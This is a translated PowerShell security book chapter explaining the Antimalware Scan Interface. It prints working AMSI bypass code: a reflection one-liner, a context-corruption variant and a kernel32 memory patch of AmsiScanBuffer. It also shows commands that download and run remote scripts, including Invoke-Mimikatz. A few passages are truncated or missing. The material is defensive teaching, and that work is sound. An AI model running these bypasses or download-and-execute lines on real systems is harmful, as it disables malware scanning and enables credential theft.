面向网络安全的-Powershell-自动化和脚本编程-六-

190 阅读26分钟

面向网络安全的 Powershell 自动化和脚本编程(六)

原文:annas-archive.org/md5/497778742979feec5fa142fe450d7d89

译者:飞龙

协议:CC BY-NC-SA 4.0

第十二章:探索反恶意软件扫描接口(AMSI)

过去,攻击者通常使用脚本或可执行文件让恶意软件在客户端系统上运行。但随着反病毒产品逐年提升,基于文件的恶意软件变得更容易被识别和移除。

对于恶意软件作者来说,这是一个严重的问题,他们试图绕过它,因此他们想出了直接在内存中运行恶意代码的解决方案,而不触及硬盘。具体来说,像 PowerShell、VBScript、JavaScript 等内置程序和其他工具被用来运行恶意软件攻击。攻击者变得富有创意,并混淆他们的代码,使其不容易被识别为恶意软件。

微软提出了解决方案,用于在运行代码之前进行检查,这就是反恶意软件扫描接口AMSI)。AMSI 已相应发展,甚至可以防御最复杂的攻击。然而,攻击者和防御者之间的猫鼠游戏依然在不断进行。

本章将介绍 AMSI 的工作原理,以及攻击者如何试图绕过它。我们将讨论以下内容:

  • 什么是 AMSI,如何工作?

  • 为什么选择 AMSI?一个实际的例子

  • 绕过 AMSI:PowerShell 降级攻击、配置篡改、内存补丁、钩子技术和动态链接库劫持

  • 混淆和 Base64 编码

技术要求

为了最大限度地利用本章内容,请确保你具备以下条件:

  • PowerShell 7.3 及以上版本

  • 安装了 Visual Studio Code

  • 安装了 Ghidra

  • 一些关于汇编代码和调试器的基本知识

  • 本章的 GitHub 存储库访问:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter12

什么是 AMSI,如何工作?

AMSI 是一个旨在帮助防御恶意软件的接口。不仅 PowerShell,其他语言如 JavaScript 和 VBScript 也可以从中受益。它还为第三方和自定义应用程序提供了保护用户免受动态恶意软件攻击的选项。它是在 Windows 10/Windows Server 2016 中引入的。

目前,AMSI 支持以下产品:

  • PowerShell

  • Office Visual Basic for Applications 宏

  • VBScript

  • Excel 4.0(XLM)宏

  • Windows 管理工具

  • 动态加载的.NET 程序集

  • JScript

  • MSHTA/JScript9

  • 用户帐户控制

  • Windows 脚本宿主(wscript.execscript.exe

  • 支持 AMSI 的第三方产品

像其他 API 一样,AMSI 提供了 Win32 API 和 COM API 的接口。AMSI 是一个开放标准,因此不限于 PowerShell;任何开发者都可以根据需要开发其应用程序以支持 AMSI,并且任何注册的反恶意软件引擎都可以处理通过 AMSI 提供的内容,正如下图所示的 AMSI 架构:

图 12.1 – AMSI 架构

图 12.1 – AMSI 架构

在本章中,我将仅讨论通过 PowerShell 启动 AMSI 时发生的情况,但请注意,对于前面列出的所有其他产品,它的工作原理类似。

当 PowerShell 进程被创建时,amsi.dll 被加载到其进程内存空间中。现在,每当尝试执行脚本或即将运行命令时,都会首先经过 amsi.dll。在 amsi.dll 内部,AmsiScanBuffer()AmsiScanString() 函数负责确保所有即将运行的命令或脚本在执行之前都会通过本地安装的防病毒解决方案扫描是否存在恶意内容:

图 12.2 – AMSI 功能

图 12.2 – AMSI 功能

Amsi.dll 然后记录代码的行为并检查当前的防病毒软件是否创建了与此行为匹配的签名。默认情况下配置了 Windows Defender,但 AMSI 也提供了一个接口,用于与其他第三方防恶意软件程序进行交互。

如果签名匹配,则阻止代码执行。如果一切看起来正常,则执行代码。

为什么选择 AMSI?一个实际例子

在我们深入了解 AMSI 是什么之前,让我们先看看 为什么。正如我在本章开头提到的,这是攻击者和防御者之间的持续战斗。攻击者试图发动成功的攻击,而防御者则试图阻止它们。

在早期,攻击者很容易做到。通常,他们只需编写一个脚本来执行其恶意操作,但很快,防御者做出了反应,以便检测和阻止他们的恶意意图。攻击者不得不混淆他们的行动来发动成功的攻击。

为了分析内容,反恶意软件供应商可以创建自己的进程内 COM 服务器(DLL),作为 AMSI 提供程序,并将其注册在以下注册表路径下:

  • HKLM\SOFTWARE\Microsoft\AMSI\Providers

  • HKLM\SOFTWARE\Classes\CLSID

供应商可以注册一个或多个 AMSI 提供程序 DLL。

当应用程序(如 PowerShell)将内容提交给 AMSI 进行扫描时,供应商的 AMSI 提供程序 DLL 接收并分析内容。提供程序 DLL 分析内容并以 AMSI_RESULT 枚举值的形式向原始应用程序返回决策,指示代码是否被视为恶意。

如果结果是 AMSI_RESULT_DETECTED 并且未采取预防措施,则由提交应用程序决定如何处理已识别的恶意内容。

为了检测恶意脚本和活动,反恶意软件解决方案通常使用签名,需要频繁更新以应对新威胁。

PowerShell 脚本本质上是文本文件,这意味着它们必须经过字符串解析才能识别恶意行为。当脚本被混淆时,检测恶意代码变得更加困难。混淆技术变化多端,通常需要解包器来检查软件的内部工作原理,以识别任何恶意行为或代码,并针对可能发生的每种混淆类型进行处理。

对攻击者而言,哈希碰撞、修改变量或参数,以及增加混淆层都是微不足道的事情,但对于防御者来说,通过使用签名来检测恶意活动却非常困难。

在其他形式的代码(如字节码或中间语言)中,指令会被编译成一组有限的指令,这使得模拟 API 变得更加容易。然而,对于脚本来说,情况则不同,这使得编写签名变得更加困难。

在接下来的章节中,我们将通过六个示例来帮助你理解为什么以及如何像 AMSI 这样的解决方案可以扩展常规反恶意软件引擎的功能,以及防御者在试图领先于恶意软件作者时在脚本编写中面临的挑战。请不要将每个示例当作单独的案例来看,而是将其作为一个整体故事来阅读。我已经为示例编号,以便于跟踪。你还可以在本章的 GitHub 仓库中找到代码(以及编码代码):github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/Examples_whyAMSI.ps1

示例 1

让我们看一个应该代表恶意代码的脚本。在这种情况下,它是无害的,因为它仅在命令行中输出Y0u g0t h4ck3d!,如下面所示:

function Invoke-MaliciousScript {
    Write-Host "Y0u g0t h4ck3d!"
}
Invoke-MaliciousScript

防御者现在可以编写一个非常简单的检测签名,查找Write-Host "Y0u g0t h4ck3d!" 字符串,以阻止该脚本的执行。

示例 2

假设攻击者需要想出一种新的方式来成功执行他们的脚本。那么,他们可能会开始将字符串拆分成多个部分,使用变量,并进行拼接:

function Invoke-MaliciousScript {
    $a = 4
    $output = "Y0" + "u g" + "0t h" + $a + "ck" + ($a - 1) + "d!"
    Write-Host $output
}
Invoke-MaliciousScript

旧的签名通过仅仅搜索字符串已不再匹配。为了应对这一变化,防御者开始构建简单的语言模拟。例如,如果发现某个字符串是由多个子字符串连接而成,新算法会模拟这种连接并与任何恶意模式进行匹配。

示例 3

此时,攻击者会尝试转向更复杂的方法——例如,通过使用 Base64 编码他们的有效载荷,并在运行脚本时解码,如下所示。"WQAwAHUAIABnADAAdAAgAGgANABjAGsAMwBkACEA" 字符串表示我们之前字符串"Y0u** **g0t h4ck3d!"的 Base64 编码版本:

function Invoke-MaliciousScript {
    $string = "WQAwAHUAIABnADAAdAAgAGgANABjAGsAMwBkACEA"
    $output = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($string))
    Write-Host $output
}
Invoke-MaliciousScript

但大多数反恶意软件程序幸运地已经实现了某种 Base64 解码仿真,因此大多数反病毒AV)引擎仍然会捕捉到这个示例。

结果,攻击者会尝试想出更困难的方式来使检测变得更加困难 - 例如使用算法混淆。

Example 4

对于以下示例,我已经使用简单的异或算法对我们的"Y0u g0t h4ck3d!"攻击字符串进行了编码,得到了"SyJnMnUiZjJ6JnF5IXYz"编码后的字符串。使用以下函数,我们可以使用XOR密钥0x12将字符串转换回原始模式:

function Invoke-MaliciousScript {
    $string = "SyJnMnUiZjJ6JnF5IXYz"
    $key = 0x12
    $bytes = [System.Convert]::FromBase64String($string)
    $output = -join ($bytes | ForEach-Object { [char] ($_ -bxor $key)})
    Write-Host $output
}
Invoke-MaliciousScript

现在,这个示例比普通反恶意软件引擎能够仿真的任何内容都要高级得多。因此,如果没有进一步的机制(如 AMSI),我们将无法检测到此脚本的操作。当然,防御者可以编写签名来检测混淆的脚本。

Example 5

但是如果脚本看起来只是一个正常的、行为良好的脚本,但最终却从网络下载并在本地执行恶意内容,就像以下示例一样,你如何为其编写签名呢?

function Invoke-MaliciousScript {
    $output = Invoke-WebRequest https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter12/AMSIExample5.txt
    Invoke-Expression $output
}
Invoke-MaliciousScript

如果运行此代码,您仍将获得输出"Y0u g0t h4ck3d!",我们通过上传到 GitHub 的脚本启动了该输出:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/AMSIExample5.txt

现在我们已经到了几乎不可能写出签名以检测这种恶意行为而不会生成太多误报的地步。误报只会给分析人员带来太多工作,如果误报太多,可能会错过真正的威胁。所以,这是一个问题。但这正是 AMSI 发挥作用的地方。

Example 6

现在,启用了 AMSI,让我们看看当我们重复上一个示例时的行为,但这次使用的是会触发 AMSI 的文件:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/AMSIExample6.txt。不用担心,对于这个示例,我们也没有使用真正的恶意代码 - 我们使用的是生成 AMSI 测试样本字符串的示例,'AMSI 测试样本:7e72c3ce-861b-4339-8740-0ac1484c1386'

Figure 12.3 – 生成 AMSI 测试样本字符串的文件

Figure 12.3 – 生成 AMSI 测试样本字符串的文件

如果我们现在从命令行或脚本中运行一个恶意命令,你会看到 AMSI 干预并在命令执行之前将其阻止:Invoke-Expression (****Invoke-WebRequest** https://github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/AMSIExample6.txt**)

图 12.4 – AMSI 的工作过程

图 12.4 – AMSI 的工作过程

AMSI 阻止了执行,取决于你使用的反恶意软件引擎,你可以看到一个事件已经被生成。如果你使用的是默认的 Defender 引擎,你可以在Defender/Operational日志中找到所有 AMSI 相关的事件日志,事件 ID 为1116,如下所示的截图:

图 12.5 – 如果使用默认的 Defender 引擎,AMSI 相关事件会出现在 Defender/Operational 事件日志中

图 12.5 – 如果使用默认的 Defender 引擎,AMSI 相关事件会出现在 Defender/Operational 事件日志中。

现在你已经了解了 AMSI 的工作原理、为什么它是必要的以及它如何帮助防御,我们接下来将深入探讨对手是如何尝试绕过 AMSI 的。

绕过 AMSI

AMSI 在防止恶意代码执行方面对防御者非常有帮助。但如果攻击者没有尝试找到绕过 AMSI 的方法,他们就不再是攻击者了。在这一部分,我们将探讨一些常见的技术。

我遇到的大多数绕过方法都以某种方式尝试篡改amsi.dll。大多数情况下,目标是通过替换amsi.dll为自定义版本,或者完全避免使用amsi.dll,从而使恶意代码看起来干净。

通常,当人们发现新的绕过方法并写博客时,它会在发布后不久被修复并检测到。

Joseph Bialek 最初编写了Invoke-Mimikatz.ps1脚本,以通过 PowerShell 使所有 Mimikatz 功能可用。

Invoke-Mimikatznishang模块的一部分,可以从 GitHub 下载:raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1

为了展示这里的示例,我创建了一个小模块,加载了Invoke-Mimikatz.ps1脚本。如果你想在你的演示环境中复现它,只需复制并粘贴原始代码:

New-Module -Name Invoke-MimikatzModule -ScriptBlock {
    Invoke-Expression (Invoke-WebRequest -UseBasicParsing "https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
    Export-ModuleMember -function Invoke-Mimikatz
} | Import-Module

你也可以在本章的 GitHub 仓库中找到这个小代码片段:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/Demo_loadMimikatz.ps1

免责声明

请确保此代码仅在你的演示环境中运行,而不是在你的生产机器上。

我在这些示例中使用的是 Windows PowerShell,而不是 PowerShell Core,因为这通常是攻击者的首选。使用 PowerShell Core 运行 Mimikatz 还会导致当前版本的 Invoke-Mimikatz.ps1 出现错误。

对于以下演示,Windows Defender 实时保护 被临时禁用以运行代码并将 Mimikatz 加载到内存中。如果一切正常,你现在将看到在运行 Invoke-Mimikatz 时的典型 Mimikatz 输出,如下截图所示:

图 12.6 – 从内存运行 Mimikatz

图 12.6 – 从内存运行 Mimikatz

在 Mimikatz 加载后,Windows Defender 实时保护再次启用。通过这种方式,接下来的示例更容易演示 AMSI 的影响。

现在,如果实时保护成功启用,你将看到运行 Mimikatz 时的以下输出:

图 12.7 – Mimikatz 被 AMSI 阻止

图 12.7 – Mimikatz 被 AMSI 阻止

该输出仅表示 AMSI 已经启用以保护这台机器,并且已阻止 Invoke-Mimikatz 命令的执行。

好的,现在我们可以开始演示示例了。

防止文件被检测或临时禁用 AMSI

大多数攻击尝试通过篡改 AMSI 库来防止恶意软件被扫描。

PowerShell 降级攻击

避免 AMSI 的最简单方法之一是将 PowerShell 版本降级到不支持 AMSI 的早期版本。你可以在 第四章,“检测 – 审计与监控”中找到降级攻击的详细解释,因此此处不再详细描述。

当尝试从普通 PowerShell 控制台运行 Invoke-Mimikatz 时,AMSI 会介入并阻止命令的执行。

但是,如果机器上安装了 PowerShell 版本 2,攻击者将能够通过降级攻击运行以下命令,从而绕过 AMSI:

图 12.8 – Invoke-Mimikatz 可以在没有 AMSI 干扰的情况下执行

图 12.8 – Invoke-Mimikatz 可以在没有 AMSI 干扰的情况下执行

但是,如果系统进行了适当的加固,降级攻击应该是不可行的。

配置篡改

其中一个非常流行的 AMSI 配置更改示例是 Matt Graeber 的绕过方法,他在 2016 年通过 Twitter 进行了分享:

图 12.9 – Matt Graeber 2016 年的 AMSI 绕过

图 12.9 – Matt Graeber 2016 年的 AMSI 绕过

Matt 通过仅使用一行代码成功禁用了 AMSI:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

这个绕过方法只是将 amsiInitFailed 布尔值设置为 $true。这模拟了 AMSI 初始化失败,因此无法执行扫描,并且将禁用未来的 AMSI 扫描。

与此同时,业界能够编写检测规则来阻止这一特定的绕过,但它仍然是一个很好的例子,展示了禁用和绕过 AMSI 的一种方法。请记住,如果没有这些检测措施,绕过本身仍然能够通过 AMSI。

输出显示了被 AMSI 阻止的单行代码:

图 12.10 – AMSI 阻止了单行代码

图 12.10 – AMSI 阻止了单行代码

当然,如果命令足够混淆,这个方法仍然可以奏效。这里使用的许多子字符串也被认为是恶意的,因此会被检测到。

很多签名被添加到某些触发词上,比如amsiInitFailed。其他研究人员也尝试找到一种绕过方法,灵感来自 Matt Graeber 的单行代码。其中一个绕过方法由 Adam Chester 在 2018 年发现:

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);

由于前一个绕过方法通过将amsiInitFailed设置为$true已经被攻击者和防御者非常熟知,因此大多数尝试与此标志互动的行为都是高度可疑的,因此会被检测到。但如果我们能够强制触发错误,而不查询可疑的标志,它基本上会产生相同的效果。这正是 Adam 绕过方法在这里所做的。

他通过篡改amsiContextamsiSession强制触发错误。AMSI 初始化将失败,并且该会话中的未来扫描将无法进行。

你可以阅读 Adam 如何发现这个绕过方法以及其他有趣的方式,详见这篇博客文章:www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

当然,在这段时间里,为了应对这一特定的绕过方法,新的签名已经被添加,因此没有混淆的情况下已经不再有效。

DLL 劫持

避免代码被 AMSI 扫描的另一种方法是DLL 劫持。在这种攻击中,amsi.dll基本上被替换为一个修改过的版本,这个版本不会干扰正在尝试执行的(恶意)代码。

值得注意的是,如果攻击者能够在系统上删除或替换 DLL 并执行任意代码,那么运行 PowerShell 可能是你最不需要担心的问题之一。

2016 年,Cornelis de Plaa 发现了一种使用 DLL 劫持的 AMSI 绕过方法。他在一个文件夹中创建了一个空的amsi.dll文件,并将powershell.exe复制到同一目录中。启动复制的 PowerShell 后,原始的amsi.dll文件没有被加载,而是加载了伪造的amsi.dll文件进入内存,当然,这个文件并没有检查执行的代码。

在 2016 年 3 月 28 日将此漏洞报告给微软 MSRC 后,他们实施了一个修复程序,这导致 PowerShell 在加载空的amsi.dll文件后无法正常工作。

图 12.11 – 加载空的 amsi.dll 文件后,PowerShell 管道中断

图 12.11 – 加载空的 amsi.dll 文件后,PowerShell 管道中断

2020 年 6 月,Philippe Vogler 找到了复活这个旧 AMSI 绕过的方法。他创建了一个amsi.dll文件,至少可以调用所有正常amsi.dll文件中包含的函数,但这些函数只是普通的虚拟函数,因此不会执行任何检查。通过这个文件,他成功地通过 DLL 劫持再次绕过了 AMSI。

你可以在他的博客上找到更多信息:sensepost.com/blog/2020/resurrecting-an-old-amsi-bypass/

同时,确保查看 Cornelis de Plaa 的博客,了解他是如何发现原始 AMSI DLL 劫持绕过的:cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html

内存补丁

内存补丁是一种红队人员常用的技术,用于在不改变可执行文件或文件戳的情况下修改程序内存。当涉及到使用内存补丁来绕过 AMSI 时,攻击者通常尝试修改内存调用,以使amsi.dll无法正确执行,从而跳过检查例程。

让我们首先从内存的角度看一下它的样子。为此,我们可以选择一个调试工具打开amsi.dll。在这个例子中,我将使用开源工具 Ghidra。

第一步,将amsi.dll导入 Ghidra,然后在项目中打开它。通常,amsi.dll位于C:\Windows\System32\amsi.dll

我们可以看到amsi.dll中所有可用的函数——这是为了我们的实验。AmsiScanBufferAmsiScanString函数特别值得关注。

图 12.12 – amsi.dll 中的函数

图 12.12 – amsi.dll 中的函数

Ghidra 提供了一个非常强大的反编译功能。所以,如果我们首先查看AmsiScanString函数,我们可以很快发现这个函数也调用了AmsiScanBuffer函数。因此,AmsiScanBuffer可能是最有吸引力的目标,因为看起来如果我们修改这个函数的内存,就可以同时覆盖两个用例:AmsiScanBufferAmsiScanString

图 12.13 – 反编译后的 AmsiScanString 函数

图 12.13 – 反编译后的 AmsiScanString 函数

所以,我们基本上需要做的就是首先找出当前加载的amsi.dll文件中AmsiScanBuffer函数的起始地址。

一旦我们知道了这个地址,我们可以尝试操作内存,使得它不会跳转到实际的AmsiScanBuffer函数,而是跳过它。当我们在内存/汇编级别进行操作时,有一个技巧可以帮助我们实现这一目标。RET指令表示子程序的结束并返回到最初调用它的代码。所以,如果我们用RET指令覆盖AmsiScanBuffer子程序的前几个字节,这个函数就会被终止而不扫描任何内容。

一旦我们完成这一步,我们就可以在当前会话中执行所有想要的 PowerShell 代码,而不会被检查。但是,类似地,如果攻击者能够编辑系统中进程的任意内存,你可能会面临更大的问题。

让我们看看如何在 PowerShell 中实现这一点。kernel32.dll文件提供了使用 PowerShell 访问内存的函数,特别是GetModuleHandleGetProcAddressVirtualProtect函数。因此,让我们将这些函数导入到当前的 PowerShell 会话中:

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class Kernel32
{
    [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
        public static extern IntPtr GetModuleHandle(
            [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr VirtualProtect(
            IntPtr lpAddress,
            UIntPtr dwSize,
            uint flNewProtect,
            out uint lpflOldProtect);
}
"@

使用Kernel32中的GetModuleHandle函数,我们将获取加载到当前进程中的amsi.dll文件的句柄。句柄是模块的基址,因此通过这一步,我们将找出模块在内存中的起始位置:

$AmsiHandle = [Kernel32]::GetModuleHandle("amsi.dll")

许多 AV 产品将检测到试图篡改AmsiScanBuffer函数的脚本。因此,为了避免被检测到,我们需要将函数名拆分为两个命令:

$FuncName = "AmsiScan"
$FuncName += "Buffer"

一旦完成此操作,我们可以检索AmsiScanBuffer的进程地址,以便稍后尝试覆盖它:

$FuncPtr = [Kernel32]::GetProcAddress($AmsiHandle, $FuncName)

下一步,我们需要取消保护要覆盖的内存区域:

$OldProtection = 0
[Kernel32]::VirtualProtect($FuncPtr, [uint32]1, 0x40, [ref]$OldProtection)

最后,我们将AmsiScanBuffer函数的第一个字节覆盖为RET,这表示子例程的结束。在汇编中,0xC3等于RET

$Patch = [Byte[]] (0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $FuncPtr, 1)

现在应该可以运行任何你喜欢的命令,而不被 AMSI 检查。

**'AMSI 测试样本:7e72c3ce-861b-4339-8740-0ac1484c1386'**字符串也可用于 AMSI 测试。它类似于 EICAR 文件,您可以使用它来测试您的 AV 的功能,但用于 AMSI。如果启用了 AMSI,AMS

以下截图显示在使用 AMSI 测试样本时首先触发错误,但在执行 AMSI 绕过后,AMSI 测试样本可以正常运行:

图 12.14 – 使用内存修补绕过 AMSI

图 12.14 – 使用内存修补绕过 AMSI

由于此绕过方法仅用于本书中演示对手如何提出新的绕过方法的示例,此绕过方法已报告给 Microsoft,在发布本书之前,此绕过方法应该不再有效。

当然,并不是唯一的内存修补方法。现场还有各种其他例子。但这个例子应该能帮助你更好地理解这种绕过方法的工作原理。

在野外发现的 AMSI 绕过方法有一个非常棒的概述,由S3cur3Th1sSh1t创建:github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

大多数尝试篡改 AMSI 以暂时禁用或破坏其功能。但所有这些方法都已广为人知,如果没有进一步混淆,将会被检测到。

混淆

混淆是绕过反病毒检测的另一种方法。现在市面上有许多自动化的混淆工具——例如,Invoke-Obfuscation,这是由 Daniel Bohannon 编写的:github.com/danielbohannon/Invoke-Obfuscation

但是像这样的自动化工具非常知名,经过这种混淆的脚本很可能会被检测到。

还有一些工具,例如 AMSI fail,它生成混淆的 PowerShell 代码片段,用于临时禁用当前会话中的 AMSI:amsi.fail/

AMSI fail 生成的代码片段是从一个方法池中随机选择的,并且在运行时进行了混淆。这意味着生成的输出应该还没有被反恶意软件产品所识别,但实际上,许多这些生成的绕过方法已经被 AMSI 检测到,因为反恶意软件供应商不断改进他们的算法和签名。

同时,一旦某个有效载荷在某个攻击中被使用,通常不会太久它的签名就会被检测到。但它可能是你下次红队行动中避免 AMSI 的一种方法。

最终,根据你的成熟度,理解如何绕过签名并编写手动混淆方法可能是有意义的。以适当的方式解释如何做到这一点超出了本书的内容。不过,s3cur3th1ssh1t 有一篇很棒的博客文章,介绍了如何手动绕过 AMSI:s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/

Base64 编码

Base64 是一种将二进制数据编码为 ASCII 字符串的方法。因此,如果你记得我们之前在配置中讨论的 Matt Graeber 绕过方法,实际的绕过如今已经被 AMSI 阻止了。但如果在这个绕过中使用的字符串(AmsiUtilsamsiInitFailed)经过 Base64 编码,并在运行命令时解码,那么绕过仍然有效。

首先,让我们使用 Base64 对这两个字符串进行编码:

然后,我们用解码这些字符串的命令来替换它们并运行命令:

通常,编码和解码字符串可以避免绕过 AMSI 和其他检测。但反病毒程序仍然有可能检测到它。

总结

AMSI 是一个很棒的工具,帮助你保护你的环境。它已经能够防御大多数恶意代码,并且由于恶意软件供应商不断改进他们的解决方案,只要你保持反恶意软件软件的更新,它将帮助你抵御大多数已知(甚至可能是一些未知)的威胁。

但是与其他解决方案类似,这当然不是解决所有问题的方法,而且有方法可以绕过它。然而,由于反恶意软件供应商总是在寻找新的发现来改进他们的产品,绕过一旦被发现,检测通常会很快出现。

AMSI 是解决方案的一部分,但不是全部,要保持你的环境尽可能安全,你需要记住还有许多其他方式。在第十三章,“还有什么?——进一步的缓解措施和资源”中,我们将探讨你还能做些什么来确保你的环境安全。

进一步阅读

如果你想深入了解本章中提到的一些主题,可以查看以下资源:

第一部分: s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/

第二部分: s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/

绕过 AMSI 的工具:

github.com/rasta-mouse/AmsiScanBufferBypass

rastamouse.me/memory-patching-amsi-bypass/

你还可以在本章的 GitHub 仓库中找到所有提到的链接:第十二章 – 无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/Links.md

第十三章:还有什么?——更多的缓解措施和资源

在本书中,我们已经探讨了许多有助于在 PowerShell 环境中减少风险的主题和技术。但当然,你可以做更多事情来保障环境安全——许多直接与 PowerShell 相关,也有一些与 PowerShell 不直接相关但有助于提高 PowerShell 安全性。

在本章中,我们不会深入讨论每个缓解措施;相反,我将概述其他缓解措施,以便你可以自行探索每一个。我们将涵盖以下主题:

  • 安全脚本编写

  • 探索期望的状态配置

  • 强化系统和环境

  • 攻击检测 – 端点检测与响应

技术要求

为了充分利用本章内容,确保你具备以下条件:

安全脚本编写

如果你在环境中使用自编写的脚本,安全脚本编写是不可或缺的。如果你的脚本可以被篡改,那么无论你实施了什么其他安全机制(大多数情况下)都没有意义。

请注意,你的脚本可能会被黑客攻击,恶意代码可能会被注入。在这种情况下,你必须执行以下操作:

)

此外,还有两个非常实用的 PowerShell 模块,当你开发自己的 PowerShell 脚本时应该了解它们——PSScriptAnalyzerInjectionHunter

PSScriptAnalyzer

PSScriptAnalyzer是一个静态检查 PowerShell 脚本和模块代码的工具。它会根据预定义的规则进行检查,并返回所有问题以及如何改进潜在代码缺陷的建议。

使用PSScriptAnalyzer验证代码有助于保持较高的代码质量,避免常见问题。它不一定是用来检查代码安全性的工具(尽管它提供了一些安全检查,如避免使用 Invoke-Expression),但它是一个检查你是否应用了 PowerShell 最佳实践的工具。

可以通过 PowerShell Gallery 使用Install-Module PSScriptAnalyzer进行安装。

安装后,它提供了Get-ScriptAnalyzerRuleInvoke-FormatterInvoke-ScriptAnalyzer cmdlet。

对于我们的使用案例,我们将只关注Invoke-ScriptAnalyzer,但请确保你自己查看整个模块,以提升你的 PowerShell 脚本和模块。

使用Invoke-ScriptAnalyzer,然后使用-Path和脚本路径,来检查你的代码,如下截图所示:

图 13.1 – 调用 ScriptAnalyzer

图 13.1 – 调用 ScriptAnalyzer

当没有指定其他内容时,PSScriptAnalyzer会根据其自身的规则集进行检查。但你也可以通过使用-CustomRulePath-RecurseCustomRulePath参数来指定你自己的自定义规则。

如果你在 Visual Studio Code 中使用PowerShell扩展来编写 PowerShell 脚本,PSScriptAnalyzer会默认启用。在这种情况下,你的代码会被自动检查,并且在编写代码时会提供任何潜在问题的警告。

InjectionHunter

InjectionHunter是由 Lee Holmes 编写的一个模块,它帮助你检测如何将代码注入到你自己的 PowerShell 脚本中。可以从PowerShell** **Gallery下载:www.powershellgallery.com/packages/InjectionHunter/1.0.0

使用Install-Module InjectionHunter命令安装它。

InjectionHunter依赖于ScriptAnalyzer.Generic.DiagnosticRecord作为其输出类型,并使用自定义的检测规则,因此也需要安装PSScriptAnalyzer

InjectionHunter包含八个不同的函数,所有这些函数都可以帮助你找出代码是否容易受到各种攻击的影响。这些函数包括Measure-AddTypeMeasure-CommandInjectionMeasure-DangerousMethodMeasure-ForeachObjectInjectionMeasure-InvokeExpressionMeasure-MethodInjectionMeasure-PropertyInjectionMeasure-UnsafeEscaping

InjectionHunter的函数用于创建一个新的PSScriptAnalyzer插件,能够检测 PowerShell 脚本中潜在的注入攻击。这些函数设计为接受-ScriptBlockAst参数,它代表脚本的抽象语法树AST)。AST 将标记分组为结构,是解析和分析 PowerShell 数据的有意方式。

以下示例演示了如何使用PSScriptAnalyzer调用InjectionHunter规则:

> Invoke-ScriptAnalyzer -Path C:\Users\Administrator\Downloads\PowerShell-Automation-and-Scripting-for-Cybersecurity-master\Chapter12\Examples_whyAMSI.ps1 -CustomRulePath ( Get-Module InjectionHunter -List | % Path )

以下截图展示了从PSScriptAnalyzer调用InjectionHunter规则的界面:

图 13.2 – 从 PSScriptAnalyzer 调用 InjectionHunter 规则

图 13.2 – 从 PSScriptAnalyzer 调用 InjectionHunter 规则

InjectionHunter并不是用于直接分析脚本的。然而,你可以利用它的功能开发一个自定义的PSScriptAnalyzer插件,用于检测你 PowerShell 脚本中的注入攻击。

但是,如果你在编写脚本时能立即知道是否存在潜在的注入风险,那该多酷?Lee Holmes 和 PowerShell 团队为你提供了解决方案。以下博客文章解释了如何在使用 Visual Studio Code 编辑脚本时实现这一点:devblogs.microsoft.com/powershell/powershell-injection-hunter-security-auditing-for-powershell-scripts/

探索所需状态配置

PowerShell 所需状态配置DSC)是一个功能,允许你使用 PowerShell 配置作为代码来管理服务器。

截至目前,以下版本的 DSC 可用于部署:DSC 1.1DSC 2.0DSC 3.0

虽然 DSC 1.1 包含在 Windows PowerShell 5.1 中,但在 DSC 2.0 中,必须在 PowerShell 7.2 及以上版本上运行 DSC,PSDesiredStateConfiguration不再包含在 PowerShell 包中。这使得 DSC 的创建者能够独立于 PowerShell 开发 DSC,并允许用户升级 DSC 而无需同时升级 PowerShell。

DSC 1.1

DSC 1.1 包含在 Windows 中,并通过 Windows 管理框架进行更新。它运行在 Windows PowerShell 5.1 中。如果没有使用 Azure Automanage Machine Configuration,这是推荐的版本。

修复

DSC 1.1 有两种配置模式:

  • 推送:配置手动推送

  • 拉取:节点被配置为从拉取服务器频繁拉取其配置

DSC 在拉取模式中的一个巨大进步是,一旦指定了配置,配置会自我修复。这意味着你可以使用代码配置节点并设置配置。一旦激活,你可以配置你的配置,使其频繁地从节点中拉取。这意味着,如果有人更改了配置了 DSC 的服务器或终端的本地配置,下一次拉取时配置会被恢复。

拉取模式是一种更复杂的配置方式,但最终它比推送模式更易于维护,并且有助于提升设备安全性。在使用此模式时,系统会自动进行修复。

如果你有兴趣使用 DSC 进行集中管理,需要注意的是,签名配置使得 DSC 成为一种更加安全的远程策略管理方式。签名配置确保只有授权的更改才能应用到系统中。没有有效签名的配置无法被应用。

